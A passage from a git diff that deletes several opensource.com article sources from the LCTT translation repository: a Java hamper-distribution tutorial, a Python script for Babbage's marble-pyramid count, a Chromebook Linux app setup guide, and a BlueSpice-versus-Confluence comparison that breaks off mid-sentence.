unit.getPrice(); } -    public int getUnitCount() { return count; } -    public List<Unit> unpack() { return [Collections][6].nCopies(count, unit); } - -    @Override -    public [String][5] toString() { return [String][5].format("item: %s brand: %s unitCount: %d unitPrice: %d",unit.getItem(),unit.getBrand(),count,unit.getPrice()); } -} -``` - -Similar to the `Unit` class, the `Pack` class is immutable. A couple of things worth mentioning here: - - 1. I could have passed a `Unit` instance into the `Pack` constructor. I chose not to because the bundled, physical nature of a bulk package encouraged me to think of the "unit-ness" as an internal thing not visible from the outside but that requires unpacking to expose the units. Is this an important decision in this case? Probably not, but to me, at least, it's always good to think through this kind of consideration. - 2. Which leads to the `unpack()` method. The `Pack` class creates the list of `Unit` instances only when you call this method—that is, the class is _lazy_. As a general design principle, I've found it's worthwhile to decide whether a class' behavior should be eager or lazy, and when it doesn't seem to matter, I go with lazy. Is this an important decision in this case? Maybe—this lazy design enables a new list of `Unit` instances to be generated on every call of `unpack()`, which could prove to be a good thing down the road. In any case, getting in the habit of always thinking about eager vs. lazy behavior is a good habit. - - - -The sharp-eyed reader will note that, unlike in the Groovy and Python examples where I was mostly focused on compact code and spent way less time thinking about design decisions, here, I separated the definition of a `Pack` from the number of `Pack` instances purchased. Again, from a design perspective, this seemed like a good idea as the `Pack` is conceptually quite independent of the number of `Pack` instances acquired. - -Given this, I need one more utility class: the `Bought` class: - - -``` -class Bought { -    private Pack pack; -    private int count; - -    public Bought(Pack pack, int packCount) { -        this.pack = pack; -        this.count = packCount; -    } - -    public [String][5] getItem() { return pack.getItem(); } -    public [String][5] getBrand() { return pack.getBrand(); } -    public int getUnitPrice() { return pack.getUnitPrice(); } -    public int getUnitCount() { return pack.getUnitCount() * count; } -    public List<Unit> unpack() { return [Collections][6].nCopies(count, pack.unpack()).stream().flatMap([List][7]::stream).collect(Collectors.toList()); } - -    @Override -    public [String][5] toString() { return [String][5].format("item: %s brand: %s bought: %d pack(s) totalUnitCount: %d unitPrice: %d",pack.getItem(),pack.getBrand(),count,pack.getUnitCount() * count,pack.getUnitPrice()); } -} -``` - -Notably: - - 1. I decided to pass a `Pack` into the constructor. Why? Because to my way of thinking, the physical structure of the purchased bulk packages is external, not internal, as in the case of the individual bulk packages. Once again, it may not be important in this application, but I believe it's always good to think about these things. If nothing else, note that I am not married to symmetry! - 2. Once again the `unpack()` method demonstrates the lazy design principle. This goes to more effort to generate a list of `Unit` instances (rather than a _list of lists_ of `Unit` instances, which would be easier but require flattening further out in the code). - - - -OK! Time to move on and solve the problem. First, declare the purchased packs: - - -``` -        var packs = new Bought[] { -            new Bought(new Pack("Rice","Best Family",10,5650),1), -            new Bought(new Pack("Spaghetti","Best Family",1,327),10), -            new Bought(new Pack("Sardines","Fresh Caught",3,2727),3), -            new Bought(new Pack("Chickpeas","Southern Style",2,2600),5), -            new Bought(new Pack("Lentils","Southern Style",2,2378),5), -            new Bought(new Pack("Vegetable oil","Crafco",12,10020),1), -            new Bought(new Pack("UHT milk","Atlantic",6,4560),2), -            new Bought(new Pack("Flour","Neighbor Mills",10,5200),1), -            new Bought(new Pack("Tomato sauce","Best Family",1,190),10), -            new Bought(new Pack("Sugar","Good Price",1,565),10), -            new Bought(new Pack("Tea","Superior",5,2720),2), -            new Bought(new Pack("Coffee","Colombia Select",2,4180),5), -            new Bought(new Pack("Tofu","Gourmet Choice",1,1580),10), -            new Bought(new Pack("Bleach","Blanchite",5,3550),2), -            new Bought(new Pack("Soap","Sunny Day",6,1794),2) -        }; -``` - -This is pretty nice from a readability perspective: there is one pack of Best Family Rice containing 10 units that cost 5,650 (using those crazy monetary units, like in the other examples). It's straightforward to see that in addition to the one bulk pack of 10 bags of rice, the organization acquired 10 bulk packs of one bag each of spaghetti. The utility classes are doing some work under the covers, but that's not important at this point because of the great design job! - -Note the `var` keyword is used here; it's one of the nice features in recent versions of Java that help make the language a bit less verbose (the principle is called _DRY_—don't repeat yourself) by letting the compiler infer the variable's data type from the right-side expression's type. This looks kind of similar to the Groovy `def` keyword, but since Groovy by default is dynamically typed and Java is statically typed, the typing information inferred in Java by `var` persists throughout the lifetime of that variable. - -Finally, it's worth mentioning that `packs` here is an array and not a `List` instance. If you were reading this data from a separate file, you would probably prefer to create it as a list. - -Next, unpack the bulk packages. Because the unpacking of `Pack` instances is delegated into lists of `Unit` instances, you can use that like this: - - -``` -        var units = Stream.of(packs) -            .flatMap(bought -> { -                return bought.unpack().stream(); }) -            .collect(Collectors.toList()); -``` - -This uses some of the nice functional programming features introduced in later Java versions. Convert the array `packs` declared previously to a Java stream, use `flatmap()` with a lambda to flatten the sublists of units generated by the `unpack()` method of the `Bought` class, and collect the resulting stream elements back into a list. - -As in the Groovy and Java solutions, the final step is repacking the units into the hampers for distribution. Here's the code—it's not much wordier than the Groovy version (tiresome semicolons aside) nor really all that different: - - -``` -        var valueIdeal = 5000; -        var valueMax = [Math][8].round(valueIdeal * 1.1); -        var rnd = new [Random][9](); -        var hamperNumber = 0;                         // [1] - -        while (units.size() > 0) {                    // [2] -            hamperNumber++; -            var hamper = new ArrayList<Unit>(); -            var value = 0;                            // [2.1] -            for (boolean canAdd = true; canAdd; ) {   // [2.2] -                var u = rnd.nextInt(units.size());            // [2.2.1] -                canAdd = false;                               // [2.2.2] -                for (int o = 0; o < units.size(); o++) {      // [2.2.3] -                    var uo = (u + o) % units.size(); -                    var unit = units.get(uo);                      // [2.2.3.1] -                    if (units.size() < 3 || -                            !hamper.contains(unit) && -                            (value + unit.getPrice()) < valueMax) { // [2.2.3.2] -                        hamper.add(unit); -                        value += unit.getPrice(); -                        units.remove(uo);                           // [2.2.3.3] -                        canAdd = units.size() > 0; -                        break;                                      // [2.2.3.4] -                    } -                } -            }                                                // [2.2.4] -            [System][10].out.println(); -            [System][10].out.printf("Hamper %d value %d:\n",hamperNumber,value); -            hamper.forEach(unit -> { -                [System][10].out.printf("%-25s%-25s%7d\n", unit.getItem(), unit.getBrand(), -                       unit.getPrice()); -            });                                                      // [2.3] -            [System][10].out.printf("Remaining units %d\n",units.size());  // [2.4] -``` - -Some clarification, with numbers in brackets in the comments above (e.g., _[1]_) corresponding to the clarifications below: - - * 1\. Set up the ideal and maximum values to be loaded into any given hamper, initialize Java's random number generator and the hamper number. - * 2\. This `while {}` loop will redistribute units into hampers as long as there are more available: - * 2.1 Increment the hamper number, get a new empty hamper (a list of `Unit` instances), and set its value to 0. - * 2.2 This `for {}` loop will add as many units to the hamper as possible: - * 2.2.1 Get a random number between zero and the number of remaining units minus 1. - * 2.2.2 Assume you can't find more units to add. - * 2.2.3 This `for {}` loop, starting at the randomly chosen index, will try to find a unit that can be added to the hamper. - * 2.2.3.1 Figure out which unit to look at. - * 2.2.3.2 Add this unit to the hamper if there are only a few left or if the value of the hamper isn't too high once the unit is added _and_ that unit isn't already in the hamper. - * 2.2.3.3 Add the unit to the hamper, increment the hamper value by the unit price, and remove the unit from the available units list. - * 2.2.3.4 As long as there are units left, you can add more, so break out of this loop to keep looking. - * 2.2.4 On exit from this `for {}` loop, if you inspected every remaining unit and could not find one to add to the hamper, the hamper is complete; otherwise, you found one and can continue looking for more. - * 2.3 Print out the contents of the hamper. - * 2.4 Print out the remaining units info. - - - -When you run this code, the output looks quite similar to the output from the Groovy and Python programs: - - -``` -Hamper 1 value 5465: -Tofu                     Gourmet Choice              1580 -Bleach                   Blanchite                    710 -Coffee                   Colombia Select             2090 -Flour                    Neighbor Mills               520 -Sugar                    Good Price                   565 -Remaining units 150 - -Hamper 2 value 5482: -Sardines                 Fresh Caught                 909 -Tomato sauce             Best Family                  190 -Vegetable oil            Crafco                       835 -UHT milk                 Atlantic                     760 -Chickpeas                Southern Style              1300 -Lentils                  Southern Style              1189 -Soap                     Sunny Day                    299 -Remaining units 143 - -Hamper 3 value 5353: -Soap                     Sunny Day                    299 -Rice                     Best Family                  565 -UHT milk                 Atlantic                     760 -Flour                    Neighbor Mills               520 -Vegetable oil            Crafco                       835 -Bleach                   Blanchite                    710 -Tomato sauce             Best Family                  190 -Sardines                 Fresh Caught                 909 -Sugar                    Good Price                   565 -Remaining units 134 - -… - -Hamper 23 value 5125: -Sardines                 Fresh Caught                 909 -Rice                     Best Family                  565 -Spaghetti                Best Family                  327 -Lentils                  Southern Style              1189 -Chickpeas                Southern Style              1300 -Vegetable oil            Crafco                       835 -Remaining units 4 - -Hamper 24 value 2466: -UHT milk                 Atlantic                     760 -Spaghetti                Best Family                  327 -Vegetable oil            Crafco                       835 -Tea                      Superior                     544 -Remaining units 0 -``` - -The last hamper is abbreviated in contents and value. - -### Closing thoughts - -The similarities in the "working code" with the Groovy original are obvious—the close relationship between Groovy and Java is evident. Groovy and Java diverged in a few ways in things that were added to Java after Groovy was released, such as the `var` vs. `def` keywords and the superficial similarities and differences between Groovy closures and Java lambdas. Moreover, the whole Java streams framework adds a great deal of power and expressiveness to the Java platform (full disclosure, in case it's not obvious—I am but a babe in the Java streams woods). - -Java's intent to use maps for mapping instances of a single type to instances of another single type pushes you to use utility classes, or tuples, instead of the more inherently flexible intents in Groovy maps (which are basically just `Map` plus a lot of syntactic sugar to vanish the kinds of casting and `instanceof` hassles that you would create in Java) or in Python. The bonus from this is the opportunity to apply some real design effort to these utility classes, which pays off at least insofar as it instills good habits in the programmer. - -Aside from the utility classes, there isn't a lot of additional ceremony nor boilerplate in the Java code compared to the Groovy code. Well, except that you need to add a bunch of imports and wrap the "working code" in a class definition, which might look like this: - - -``` -import java.lang.*; -import java.util.*; -import java.util.Collections.*; -import java.util.stream.*; -import java.util.stream.Collectors.*; -import java.util.Random.*; - -public class Distribute { - -    static public void main([String][5][] args) { -        // the working code shown above -    } -} -class Unit { … } -class Pack { … } -class Bought { … } -``` - -The same fiddly bits are necessary in Java as they are in Groovy and Python when it comes to grabbing stuff out of the list of `Unit` instances for the hampers, involving random numbers, loops through remaining units, etc. - -Another issue worth mentioning—this isn't a particularly efficient approach. Removing elements from `ArrayLists`, being careless about repeated expressions, and a few other things make this less suitable for a huge redistribution problem. I've been a bit more careful here to stick with integer data. But at least it's quite quick to execute. - -Yes, I'm still using the dreaded `while { … }` and `for { … }`. I still haven't thought of a way to use map and reduce style stream processing in conjunction with a random selection of units for repackaging. Can you? - -Stay tuned for the next articles in this series, with versions in [Julia][11] and [Go][12]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/problem-solving-java - -作者:[Chris Hermansen][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/clhermansen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/java-coffee-mug.jpg?itok=Bj6rQo8r (Coffee beans and a cup of coffee) -[2]: https://opensource.com/article/20/8/solving-problem-groovy -[3]: https://opensource.com/article/20/8/solving-problem-python -[4]: https://www.java.com/en/ -[5]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+string -[6]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+collections -[7]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+list -[8]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+math -[9]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+random -[10]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+system -[11]: https://julialang.org/ -[12]: https://golang.org/ diff --git a/sources/tech/20200921 Use this Python script to simulate Babbage-s Difference Engine.md b/sources/tech/20200921 Use this Python script to simulate Babbage-s Difference Engine.md deleted file mode 100644 index e6550c3b7d..0000000000 --- a/sources/tech/20200921 Use this Python script to simulate Babbage-s Difference Engine.md +++ /dev/null @@ -1,91 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Use this Python script to simulate Babbage's Difference Engine) -[#]: via: (https://opensource.com/article/20/9/babbages-python) -[#]: author: (Greg Pittman https://opensource.com/users/greg-p) - -Use this Python script to simulate Babbage's Difference Engine -====== -Nineteenth-century mathematician Charles Babbage's serial calculation -machine meets its match with Python code. -![old school calculator][1] - -[Charles Babbage][2] (1791–1871) was an avid mathematician with very wide interests. He is well-known for envisioning the idea of computers and single-handedly developed what he called a [Difference Engine][3] to make serial calculations. It was a mechanical machine with a series of axles and gears to make calculations, with the output being a printed table. I recently began reading his 1864 book, _[Passages from the Life of a Philosopher][4]_, where he explains how the Difference Engines came to be. - -One of the problems his Engine was designed to solve relates to the idea of children playing with marbles and arranging them in a progressive pyramidal shape, with one marble in the top row, two in the second, three in the third, and so on. For small pyramids, you can simply count the marbles to find how many there are. But Babbage wanted to create an automatic list or table with one column showing the number of rows and another column showing the total number of marbles. - -![Pyramids of marbles][5] - -(Greg Pittman, [CC BY-SA 4.0][6]) - -The differences he talks about are first, all the successive differences in the number of rows (equal to one in this example), and second, the difference between the number of marbles added from one row to the next (also one). As I understand it, the Difference Engine successively adds the number of marbles for each new row to the previous total, creating the table in the process. - -And so I began playing with marbles in my head, so to speak. I found myself awake in bed at 5am mentally fiddling with and counting marbles. One thing that struck me was that for six rows, the total was 21, and for seven, it was 28—both evenly divisible by seven. For eight or nine rows, the total was divisible by nine. As I went higher up the number of rows, this pattern recurred. All of this was in my head (meanwhile, I was wishing it would stop so that I could get back to sleep), so it wasn't very systematized. - -When I woke up, I decided to try to figure out why this was and whether I could predict which numbers would show this phenomenon. The answer surprised me: It turns out that _every_ odd number of rows will have a number of marbles evenly divisible by that number. - -But how could I prove this? Here is an example. For the pyramid with seven rows, look first at the pyramid with six rows, with six marbles across the bottom. Create some pairs of rows: the first and the sixth, the second and the fifth, the third and the fourth. For each of these three pairs, the sum is seven; thus, the total of the three sets of pairs is 21, and if you add seven for the next row, it would also remain evenly divisible by seven. - -![Selecting pairs of rows][7] - -(Greg Pittman, [CC BY-SA 4.0][6]) - -You can keep doing this with specific examples, but the goal is to understand this phenomenon generally. Imagine some random even number of rows, _N_. Create your pairs, then add 1 to _N_, 2 to _N_-1, 3 to _N_-2, and so on. In each case, the sum will be _N_+1. The number of these pairs will be _N_/2, so the total number of marbles will be _N_/2*(_N_+1), a number evenly divisible by _N_+1. Adding _N_+1 marbles for the next row is also evenly divisible by _N_+1. - -![Pairs of N rows][8] - -(Greg Pittman, [CC BY-SA 4.0][6]) - -For example, you can say that a pyramid with 128,948 rows will have a total of 8,313,857,826 marbles; a pyramid with 128,949 rows will have 8,313,986,775, and both these totals will be evenly divisible by 128,949. - -I don't know if Babbage considered this, but chances are, even if he did, he would say this just represents mathematical problems of multiplying and dividing six-digit numbers, and he wanted a machine to do that kind of thing. He did envision and begin work on an [Analytical Engine][9], which perhaps could have done this sort of operation. - -Nowadays, this is trivial work for computers, so here's a Python script to count your marbles before you lose them—in just 4 lines of code. - - -``` -#!/usr/bin/env python -# babbage.py -""" -Using Charles Babbage's conception of a marble-counting -operation for a regular pyramid of marbles,starting with -one at the top with each successive row having one more -marble than the row above it. - -Returns total number of marbles in a pyramid of any size. -""" - -MarbRows = input("Enter the number of rows of marbles:  ") -MarbRows = int(MarbRows) - -MarbNum = int((MarbRows)*(MarbRows+1)/2) -print ("The number of marbles is "+ str(MarbNum)) -``` - -And this is how Babbage's Difference Engine meets Python. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/babbages-python - -作者:[Greg Pittman][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/greg-p -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/math_money_financial_calculator_colors.jpg?itok=_yEVTST1 (old school calculator) -[2]: https://en.wikipedia.org/wiki/Charles_Babbage -[3]: https://en.wikipedia.org/wiki/Difference_engine -[4]: http://www.gutenberg.org/ebooks/57532 -[5]: https://opensource.com/sites/default/files/images/babbage_marblepyramid.png (Pyramids of marbles) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://opensource.com/sites/default/files/uploads/babbage_pyramidpairs_0.png (Selecting pairs of rows) -[8]: https://opensource.com/sites/default/files/uploads/babbage_pyramidnpairs.png (Pairs of N rows) -[9]: https://en.wikipedia.org/wiki/Analytical_Engine diff --git a/sources/tech/20200922 Run Linux apps on your Chromebook.md b/sources/tech/20200922 Run Linux apps on your Chromebook.md deleted file mode 100644 index 473d455b3e..0000000000 --- a/sources/tech/20200922 Run Linux apps on your Chromebook.md +++ /dev/null @@ -1,187 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Run Linux apps on your Chromebook) -[#]: via: (https://opensource.com/article/20/9/linux-chromebook) -[#]: author: (Don Watkins https://opensource.com/users/don-watkins) - -Run Linux apps on your Chromebook -====== -Run all the Linux apps you want using Crostini on your Chromebook. -![Person drinking a hot drink at the computer][1] - -Chromebooks have been a game-changer for PreK-12 school systems, enabling them to purchase low-cost laptop computers for students, teachers, and administrators to use. While [Chromebooks][2] have always been powered by a Linux-based operating system (Chrome OS), until recently, there was no way to run most Linux apps on one. But that changed when Google released [Crostini][3], a virtual machine that allows Chromebooks to run Linux (Beta). - -Most Chromebooks released after 2019 and some earlier models can run Crostini and Linux (Beta). Check this [list of supported devices][4] to see if your Chromebook is on it. Fortunately, my Acer Chromebook 15 with 2GB RAM and an Intel Celeron processor is supported. - -![Acer Chromebook specs][5] - -(Don Watkins, [CC BY-SA 4.0][6]) - -I recommend using a Chromebook with 4GB RAM and more disk space if you plan to install a lot of Linux applications. - -### Set up Linux (Beta) - -After you sign into your Chromebook, "mouse over" to the lower-right corner of the screen where the clock is displayed, and left-click there. A panel will open with options at the top (from left to right) to sign out, shut down, lock, and open Settings. Choose the **Settings** icon. - -![Chromebook Settings button][7] - -(Don Watkins, [CC BY-SA 4.0][6]) - -Look on the left side of the **Settings** panel, and you will see **Linux (Beta)** listed. - -![Chromebook Settings][8] - -(Don Watkins, [CC BY-SA 4.0][6]) - -Click on **Linux (Beta),** and the main panel will change to present an option to launch it. Click the **Turn on** button. - -![Turn on Linux \(Beta\)][9] - -(Don Watkins, [CC BY-SA 4.0][6]) - -It will start the process of setting up a Linux environment on your Chromebook. - -![Setting up Linux \(Beta\)][10] - -(Don Watkins, [CC BY-SA 4.0][6]) - -Next, you will be prompted to enter a **Username** and the size you want your Linux installation to be. - -![Setting up Linux \(Beta\)][11] - -(Don Watkins, [CC BY-SA 4.0][6]) - -It takes a few minutes to install Linux on your Chromebook. - -![Installing Linux \(Beta\)][12] - -(Don Watkins, [CC BY-SA 4.0][6]) - -After the installation completes, you can use Linux on your Chromebook. The menu bar on the bottom of your Chromebook's display has a shortcut to a **terminal**, a text-based interface you can use to interact with Linux. - -![Linux \(Beta\) terminal][13] - -(Don Watkins, [CC BY-SA 4.0][6]) - -You can use [common Linux commands][14] like `ls`, `lscpu`, and `top` to see more of your environment. You can install applications using `sudo apt install`. - -### Install your first Linux application - -Being able to install and run free and open source software on a Chromebook can be a real winner for financially constrained school districts. - -The first application I recommend installing is the [Mu editor][15] for Python. Install it by entering the following into your terminal: - - -``` -`$ sudo apt install mu-editor` -``` - -It takes a bit over five minutes to install, but in the end, you'll have access to a really good Python editor for students and anyone else who wants to learn Python. - -I've had great success using [Mu and Python as a learning tool][16]. For example, I have taught my students to write code for Python's turtle module and execute it to create graphics. I was disappointed that I wasn't able to use Mu with a [BBC:Microbit][17] open hardware board. Even though the Microbit connects to USB and there is USB support in the Chromebook's Linux virtual environment, I couldn't make it work. - -![Mu editor][18] - -(Don Watkins, [CC BY-SA 4.0][6]) - -Once you've installed an application, it will show up in a special **Linux Apps** menu, which you can see on the lower-right of this screenshot. - -![Linux Apps menu][19] - -(Don Watkins, [CC BY-SA 4.0][6]) - -### Install other applications - -You can install more than just a programming language and code editor. In fact, you can install most of your favorite open source applications. - -For example, you can install the LibreOffice suite with: - - -``` -`$ sudo apt install libreoffice` -``` - -The open source audio software [Audacity][20] is one of my other favorite classroom applications. My Chromebook's microphone works with Audacity, making it easy to create podcasts or edit free sounds from [Wikimedia Commons][21]. It's easy to install Audacity on a Chromebook—with the Crostini virtual environment running, open the terminal and enter: - - -``` -`$ sudo apt install audacity` -``` - -Then launch Audacity from the command line or look for it in the **Linux Apps** section of the Chromebook menu. - -![Audacity][22] - -(Don Watkins, [CC BY-SA 4.0][6]) - -I also easily installed [TuxMath][23] and [TuxType][24], a couple of great applications for education. I was even able to install and run the image editor [GIMP][25]. All the Linux applications come from Debian Linux repositories. - -![GIMP][26] - -(Don Watkins, [CC BY-SA 4.0][6]) - -### Share files - -There is a utility within Linux (Beta) to back up and restore your files. You can also share files between your Linux (Beta) virtual machine and your Chromebook by opening the **Files** app on the Chromebook and right-clicking on the folder you want to share. You can choose to share all of your Chromebook files or create a special folder for shared files. While you are in the Linux virtual machine, you can access this folder by browsing to `/mnt/chromeos`. - -![Sharing files][27] - -(Don Watkins, [CC BY-SA 4.0][6]) - -### Learn more - -The [documentation][28] for Linux (Beta) is very complete, so read it thoroughly to learn more about its capabilities. Some key takeaways from the documentation are: - - * Cameras are not yet supported. - * Android devices are supported over USB. - * Hardware acceleration is not yet supported. - * You can access the microphone. - - - -Are you using Linux applications on your Chromebook? Tell us all about it in the comments! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/linux-chromebook - -作者:[Don Watkins][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/don-watkins -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_tea_laptop_computer_work_desk.png?itok=D5yMx_Dr (Person drinking a hot drink at the computer) -[2]: https://en.wikipedia.org/wiki/Chromebook -[3]: https://chromium.googlesource.com/chromiumos/docs/+/master/containers_and_vms.md -[4]: https://www.chromium.org/chromium-os/chrome-os-systems-supporting-linux -[5]: https://opensource.com/sites/default/files/uploads/chromebook-specs.png (Acer Chromebook specs) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://opensource.com/sites/default/files/uploads/chromebook-settings.png (Chromebook Settings button) -[8]: https://opensource.com/sites/default/files/uploads/chromebook-linux-beta.png (Chromebook Settings) -[9]: https://opensource.com/sites/default/files/uploads/chromebook-launch-linux-beta.png (Turn on Linux (Beta)) -[10]: https://opensource.com/sites/default/files/uploads/chromebook-setup-linux-beta_0.png (Setting up Linux (Beta)) -[11]: https://opensource.com/sites/default/files/uploads/chromebook-linux-beta-username.png (Setting up Linux (Beta)) -[12]: https://opensource.com/sites/default/files/uploads/chromebook-linux-beta-install.png (Installing Linux (Beta)) -[13]: https://opensource.com/sites/default/files/uploads/chromebook-linux-terminal.png (Linux (Beta) terminal) -[14]: https://opensource.com/downloads/linux-common-commands-cheat-sheet -[15]: https://codewith.mu -[16]: https://opensource.com/article/20/9/teaching-python-mu -[17]: https://opensource.com/article/19/8/getting-started-bbc-microbit -[18]: https://opensource.com/sites/default/files/uploads/chromebook-mu.png (Mu editor) -[19]: https://opensource.com/sites/default/files/uploads/chromebook-linux-apps.png (Linux Apps menu) -[20]: https://www.audacityteam.org/ -[21]: https://commons.wikimedia.org/wiki/Commons:Free_media_resources/Sound -[22]: https://opensource.com/sites/default/files/uploads/chromebook-audacity.png (Audacity) -[23]: https://sourceforge.net/projects/tuxmath/ -[24]: https://sourceforge.net/projects/tuxtype/ -[25]: https://www.gimp.org/ -[26]: https://opensource.com/sites/default/files/uploads/chromebook-gimp.png (GIMP) -[27]: https://opensource.com/sites/default/files/uploads/chromebook-linux-share-files.png (Sharing files) -[28]: https://support.google.com/chromebook/answer/9145439?p=chromebook_linuxapps&b=banon-signed-mpkeys&visit_id=637346541887671598-1548999339&rd=1 diff --git a/sources/tech/20200924 Manage knowledge with BlueSpice, an open source alternative to Confluence.md b/sources/tech/20200924 Manage knowledge with BlueSpice, an open source alternative to Confluence.md deleted file mode 100644 index 9c5657e4e2..0000000000 --- a/sources/tech/20200924 Manage knowledge with BlueSpice, an open source alternative to Confluence.md +++ /dev/null @@ -1,107 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Manage knowledge with BlueSpice, an open source alternative to Confluence) -[#]: via: (https://opensource.com/article/20/9/bluespice) -[#]: author: (Martin Loschwitz https://opensource.com/users/martinloschwitzorg) - -Manage knowledge with BlueSpice, an open source alternative to Confluence -====== -BlueSpice is based on Wikipedia's MediaWiki but its features go far -beyond its noble ancestor. -![Digital images of a computer desktop][1] - -Knowledge management is a key to success in modern enterprises—but it is not exactly easy to achieve. Keeping track of all relevant details across all employees is a huge challenge, especially in agile environments, which most companies say they are. - -Most companies resort to buying wiki-like solutions, such as Confluence from Atlassian, which exposes them to the lock-in effect of proprietary software. But many would do well to consider [BlueSpice][2], an open source alternative to Atlassian Confluence that has a noble ancestry: it's based on Wikipedia's [MediaWiki][3]. - -### Basic and advanced features - -![BlueSpice][4] - -(Markus Feilner, [CC BY-SA 4.0][5]) - -For a wiki-like software to become a full-featured knowledge management system in an enterprise environment, it needs a lot of features. The ability to create documents is only one of them; the knowledge in them must be structured in a way that makes it easy for users to find the information they are looking for. - -In addition, most companies have complex compliance rulesets that knowledge-management software must adhere to. Confluence has gained a lot of attention because it is particularly good on these items. But BlueSpice doesn't have anything to hide. - -### Structural differences - -A quick overview reveals that BlueSpice has a fundamentally different way of organizing itself internally than Confluence. Confluence's internal structure is based on Spaces—topic-specific, separate sub-units of a Confluence installation. Typically, individual teams in an organization get their own Spaces. - -![BlueSpice Namespaces][6] - -(Markus Feilner, [CC BY-SA 4.0][5]) - -Instead, BlueSpice follows MediaWiki's principle of Namespaces. A Namespace is specific for a certain kind of file, like images or audio files or blog posts, which are put into a distinct Namespace to separate them from the other content. BlueSpice also allows users to define content categories so that every page in the wiki can belong to multiple different categories. In stark contrast to Confluence, the typical data siloing that happens almost automatically in Confluence (due to its Spaces design) doesn't happen in BlueSpace. Small wiki installation users may not notice major differences. But in large environments, users will certainly notice a difference: Content is likely easier to find in BlueSpice than it would be in a wiki scattered into small spaces. - -[BlueSpice Farm][7] is a subscription-based upgrade to the Free version that offers a nice feature for people migrating away from Confluence to BlueSpice. The Farm version allows multiple BlueSpice wikis to be connected to each other, effectively making them work like Spaces in Confluence. This will dramatically ease the burden of getting used to a new approach. - -### Search engine - -![BlueSpice search][8] - -(Markus Feilner, [CC BY-SA 4.0][5]) - -BlueSpice's search function is powered by [ElasticSearch][9] in the background and, just like Confluence, it displays search results while the user is typing in the search term. ElasticSearch may impose some serious hardware requirements for the machine hosting the wiki, but the user benefits from having a truly open source search engine maintained by a vivid community. Also, just like in Confluence, users can narrow down their results while searching by specifying parameters such as a specific kind of result or author. - -### Compliance - -Confluence comes with a large set of compliance-related functionalities. Core features include connections to existing user directories, revision-proof content storage, and risk-assessment tools. BlueSpice mimics a lot of these features. The way certain features are implemented varies because of the different internal organizational structure BlueSpice uses. - -First things first: BlueSpice not only _supports_ connections to existing user directories, including Active Directory or LDAP, it actually _requires_ using groups from these directories. Once it's connected to a central user directory, all authentication and authorization details must come out of that directory. - -Regular Wikipedia users know about the ability to access every page's history. As a MediaWiki descendant, BlueSpice inherits that page-history feature. At any point in time, you can see the different revisions of a page and also identify the person who made each change to a page. Relevant pages can be monitored for changes, and reports can be generated on the changes over a specific period of time—a feature that helps keep auditors happy. - -### WYSIWYG editor - -![BlueSpice WYSIWYG editor][10] - -(Markus Feilner, [CC BY-SA 4.0][5]) - -Central knowledge-management systems are not used only by geeks who speak markup languages; even non-technical staff must be able to use the system in an easy and concise way. While BlueSpice supports the usual [Wikipedia markup][11] editor, it also offers a WYSIWYG-like experience called VisualEditor. Its buttons and formatting tools will remind many people of familiar interfaces from tools such as LibreOffice. - -### Extensions - -Confluence users love the ability to extend the tool with external plugins. BlueSpice offers a similar capability through access to MediaWiki extensions. While BlueSpice doesn't have its own extension store just yet, it can easily use roughly 150 MediaWiki extensions for graphical highlighting, gaming, analytical functions, and more. - -### Branding - -A lot of companies want their central knowledge-management system to resemble the company's branding since it is a central place for employees. Given that MediaWiki is considered to have a rather conservative look and feel, you might wonder about adapting BlueSpice to corporate identity and corporate design requirements. Like Confluence, BlueSpice can be almost completely adapted to a company's brand standards and design requirements. While both Confluence and BlueSpice maintain a basic page structure, you can adjust central design elements such as headers, fonts, and the like. When it's done right, a BlueSpice theme will hardly remind users of MediaWiki at all. - -### BlueSpice advantages - -There are some areas where BlueSpice is superior to Confluence. For instance, many organizations need revision-proof tracking of changes in their central knowledge system for compliance reasons. This feature is built into BlueSpice, while achieving similar functionality in Confluence requires an extension. BlueSpice also comes with MediaWiki's Semantics extension built-in, effectively allowing users to query wiki pages for certain keywords. And last but not least, BlueSpice's Book extension can natively integrate manuals, product documentation, or other book contents into its contents. - -### Open source license - -Confluence has earned its merits for helping many companies introduce a central knowledge store in the form of wiki software. For open source enthusiasts, the software's proprietary nature might raise a red flag. - -BlueSpice is a functional open source alternative to Confluence based on the well-proven MediaWiki software. It provides similar functionality 